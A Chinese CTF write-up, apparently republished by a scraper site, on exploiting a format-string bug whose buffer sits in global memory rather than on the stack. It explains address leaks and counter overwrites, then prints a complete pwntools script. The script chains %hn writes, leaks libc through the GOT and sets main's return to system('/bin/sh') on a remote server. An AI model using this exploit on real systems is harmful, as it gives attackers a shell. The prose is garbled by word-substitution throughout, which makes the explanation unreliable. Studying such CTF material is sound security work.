记一次Format String的利用(格式化字符串不在栈上)

则我必要一次中介来完成此类进击

媒介

这两天做了一个CTF的题目,该题目的二进制链接该题目的逻辑异常简单,便是吸收输入,并将其打印,在打印的时刻使用了printf函数,很显着是个format string破绽但因为款式化的字符串并没有在栈中,以是使用起来有一点艰苦,在此记录一下自己使用的措施

款式化字符串破绽

款式化字符串函数可以吸收可变数量的参数,并将第一个参数作为款式化字符串,根据其来解析之后的参数,参考内容点我

一样平常发生款式化字符串破绽的缘故原由是由于并没有指定第一个参数款式化字符串(或者款式化字符串可以变动),以是给了进击者一个可以节制款式化字符串的时机,进而可以实现随意率性的内存读写能力此中能触发款式化字符串破绽的函数有如下几个: scanf, printf, vprintf, vfprintf, sprintf, vsprintf, vsnprintf, setproctitle, syslog等,假如想对照系统的懂得款式化字符串破绽,可以造访链接

法度榜样阐发

首先拿到法度榜样,先阐发一下该法度榜样的保护步伐:

发明其除了canary保护之外,其它防护都开了(主如果输入的buff并不在栈上,以是并没有canary保护,并不代表着可以经由过程buffer overflow来溢出返回地址-_-)

然后扔给IDA pro阐发其逻辑:

该法度榜样的逻辑异常简单,首先是给你三次时机,让你进行款式化字符串进击,COUNT是全局变量,COUNT=3接下来是exploit_me函数,该函数的逻辑加倍简单,现将BUFF变量清空,然后读入13个字节,再将输入的字符串输出,在输出的时刻会发生款式化字符串的进击此中BUFF是一个全局变量,大年夜小是16个字节该法度榜样进击起来主要有如下几个难点:

1.因为输入的长度有限(只有13个字节),并且只容许进行三次考试测验

2.款式化字符串不在栈上,进行随意率性内存的读写存在必然的难度

破绽使用

接下来主要针对以上提出来的两个难点进行进击

改动计数变量

因为只容许三次输入,并且输入的长度有限,很难进行有效的进击,以是接下来思路便是首先使用这三次输入将节制输入的计数变量改动掉落,使其能够进行多次输入

有上面法度榜样阐发可以看到,计数变量有两个:MACRO_COUNT局部变量和COUNT全局变量,只要将此中一个值改动掉落,就可以进行多次输入,方便进行接下来的进击以是现在思路主要如下:

1.泄露地址:包括栈的地址和法度榜样的地址

2.改动栈的内容:包管栈中有MACRO_COUNT或者COUNT的地址

3.改动MACRO_COUNT或者COUNT的值

以上的每一个目的都可以使用一次format string进击实现

泄露地址

上面该图是在printf调用前的栈的内容,可以看出第一个参数是款式化字符串的地址,而接下来的一个内存单元0xffffcf6c存储的也是款式化字符串的地址,以是可以经由过程泄露该内存单元的内容来泄露BUFF变量的地址,从而可以算出法度榜样的基址接下来,ebp的内存单元存储的是saved ebp,上一个函数的ebp值,该值是栈的地址,以是可以经由过程泄露该地址来泄露栈的地址以是可以输入:

%p%6$p

来泄露栈的地址和法度榜样的地址

改动栈的内容

因为款式化字符串不在栈上,以是想经由过程款式化字符串来改动某个内存单元的值,首先得先把该内存的地址写入栈中经由过程上面阐发我们知道了栈上的地址和法度榜样的地址,经由过程偏移也能谋略出MACRO_COUNT和COUNT的地址接下来则必要将MACRO_COUNT或者COUNT的地址写入栈中在此,我选择将MACRO_COUNT的地址写入到栈中,来由如下:

从上图可以看到0xffffcf84地址处存储的是内存单元0xffffd044的地址,而0xffffd044存储的值是0xffffd224,也是栈上的一个地址,而MACRO_COUNT也是栈上的变量,其地址与0xffffd224的高16位应该是相等的,以是此时只必要改动0xffffd044地址存储的低16位即可这样能包管进击顺利进行(假如改动全部32位的话,则输出的数太多,必要花费很长光阴,还有一个缘故原由是导致输入的字符串过长,没法子实现进击)

以是详细的进击手段便是将0xffffd044内存单元存储的值的低16位改为MACRO_COUNT的高位byte地址即可

假设MACRO_COUNT的地址为addr则可以输入:

“%” + str(addr & 0xffff) + “d” + “%9$hn”

即可

改动MACRO_COUNT的值

经由过程前面的步骤,实现了将0xffffd224的地址处存储了MACRO_COUNT的地址,而0xffffd044相对付0xffffcf60(printf的第一个参数)的offset为0xE4,则可以进行如下输入使的MACRO_COUNT的高位为0xFF

“%255d%57$hhn”

此中57为0xE4/4,由于地址是4字节的

读写随意率性内存

经由过程以上的努力,我们可以进行多次的输入因为输入的款式化字符串是全局变量,并不在栈上,我们就不能经由过程一次简单的输入就能读写随意率性内存,此时必要经由过程款式化字符串来间接的改动内存地址到栈上详细思路如下:

假如我想要将地址addr写入到栈上的某个内存单元上去,设栈上的该内存单元地址为stack_addr

我们再来看一下调用printf时栈中的结构:

可以看到0xffffcf84和0xffffcf88两个内存单元存储的内容是栈上的地址,而其又指向了一个栈上的地址以是可以经由过程款式化字符串将0xffffd044地址处的内容改为stack_addr+2,将0xffffd04c地址处的内容改为stack_addr,然后再经由过程$hn分手向stack_addr+2处写入addr的高16位((addr&0xffff0000)>>16),stack_addr处写入addr的低16位(addr&0xffff)

[1] [2] [3]下一页

详细的进击历程如下:

def modify(address, modifiedAddress):

print(“modified address is %x” % modifiedAddress)

#puts_got_run = puts_got + binary_base

modifiedAddress_high = (modifiedAddress & 0xffff0000) >> 16

#log.info(“strcmp got run high %x ” % strncmp_got_run_high)

modifiedAddress_low = modifiedAddress & 0xffff

temp_low = (address + 0x2) & 0xffff

print(“temp low is %x” % temp_low)

payload3 = “%”+str(temp_low) + “d” + “%9$hn”

p.sendline(payload3)

p.recvrepeat(0.5)

temp_high = (address) & 0xffff

print(“temp high is %x” % temp_high)

payload4 = “%” + str(temp_high) + “d” + “%10$hn”

p.sendline(payload4)

p.recvrepeat(0.5)

payload5 = “%” + str(modifiedAddress_high)+”d” + “%57$hn”

print(“got run high is %x ” % (modifiedAddress_high))

p.sendline(payload5)

# p.recv()

# sleep(1)

p.recvrepeat(0.5)

payload6 = “%” + str(modifiedAddress_low)+”d”+”%59$hn”

print(“got run low is %x ” % (modifiedAddress_low))

p.sendline(payload6)

p.recvrepeat(0.5)

此中address便是此处的stack_addr,modifiedAddress便是此处的addr

有了可以向栈中写入随意率性地址的能力,我们就可以进行libc地址的泄露和改动返回地址及其参数了

泄露libc地址

经由过程以上的措施,我们可以将printf函数的got地址写入到栈上,然后经由过程%s读取got的内容,从而泄露libc的地址因为改题目并没有供给详细的libc版本,以是可以经由过程泄露的printf的地址,到libc database search网站进行查询经由过程绣楼libc地址,我们可以获得system的地址和”/bin/sh”字符串的地址

改动返回地址和参数

因为泄露了libc的地址,以是将main函数的返回地址改动为system的地址,并将其参数设为”/bin/sh”字符串的地址,输入EXIT,即可完成进击

全部的进击脚本如下:

from pwn import *

def modify(address, modifiedAddress):

print(“modified address is %x” % modifiedAddress)

#puts_got_run = puts_got + binary_base

modifiedAddress_high = (modifiedAddress & 0xffff0000) >> 16

#log.info(“strcmp got run high %x ” % strncmp_got_run_high)

modifiedAddress_low = modifiedAddress & 0xffff

temp_low = (address + 0x2) & 0xffff

print(“temp low is %x” % temp_low)

payload3 = “%”+str(temp_low) + “d” + “%9$hn”

p.sendline(payload3)

p.recvrepeat(0.5)

temp_high = (address) & 0xffff

print(“temp high is %x” % temp_high)

payload4 = “%” + str(temp_high) + “d” + “%10$hn”

p.sendline(payload4)

p.recvrepeat(0.5)

payload5 = “%” + str(modifiedAddress_high)+”d” + “%57$hn”

print(“got run high is %x ” % (modifiedAddress_high))

p.sendline(payload5)

# p.recv()

# sleep(1)

p.recvrepeat(0.5)

payload6 = “%” + str(modifiedAddress_low)+”d”+”%59$hn”

print(“got run low is %x ” % (modifiedAddress_low))

p.sendline(payload6)

p.recvrepeat(0.5)

#p = process(‘./babyformat’)

pp = ELF(‘./babyformat’)

p = remote(‘104.196.99.62’, port = 2222)

p.recvuntil(‘==== Baby Format – Echo system ====’)

puts_got = pp.got[‘puts’]

# puts_offset = 0x5fca0

# bin_sh_offset = 0x15ba0b

# system_offset = 0x3ada0

system_offset = 0x3cd10

puts_offset = 0x67360

bin_sh_offset = 0x17b8cf

## leak address

p.sendline(‘%p%6$p’)

#sleep(3)

p.recvline()

leaked = p.recvline()

addr_buff = int(leaked[2:10], 16)

binary_base = addr_buff – 0x202c

log.info(“BUFF address is %x” % addr_buff)

addr_stack_ebp = int(leaked[12:20], 16) – 0x20

log.info(“ebp address is %x” % addr_stack_ebp)

#ebp_low_four = addr_stack_ebp & 0xffff

# variable MACRO_COUNT address’s low four bytes

count_low_four = (addr_stack_ebp + 0x17) & 0xffff

payload1 = “%” + str(count_low_four) + “d” + “%9$hn”

上一页[1] [2] [3]下一页

p.sendline(payload1)

p.recvrepeat(1)

payload2 = “%255d%57$hhn”

p.sendline(payload2)

p.recvrepeat(1)

####### No problem up ##############################

puts_got_run = puts_got + binary_base

modify(addr_stack_ebp + 0x20, puts_got_run)

p.recvrepeat(1)

#leak the strncmp address

payload7 = “%14$s”

p.sendline(payload7)

# print(p.recv())

#sleep(1)

puts_address = u32(p.recvline()[0:4])

log.info(“puts address is %x ” % puts_address)

libc_base = puts_address – puts_offset

log.info(“libc base address is %x” % libc_base)

#############leak libc address done ############

ret_address = addr_stack_ebp + 0x34

arg_address = addr_stack_ebp + 0x3c

system_address = system_offset + libc_base

bin_sh_address = bin_sh_offset + libc_base

modify(ret_address, system_address)

modify(arg_address, bin_sh_address)

#raw_input()

p.recvrepeat(1)

#p.sendline(‘EXIT’)

p.interactive()

References

1.ctf-wiki:款式化字符串破绽道理先容:https://ctf-wiki.github.io/ctf-wiki/pwn/fmtstr/fmtstr_intro/

2.lib database search:https://libc.blukat.me/

上一页[1] [2] [3]

赞(0) 打赏
分享到: 更多 (0)
免责申明:本站所有资料均来自于网络,版权归原创者所有!本站不提供任何保证,不保证真实性,并不承担任何法律责任

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

阿里云优惠网 更专业 更优惠

阿里云优惠券阿里云大礼包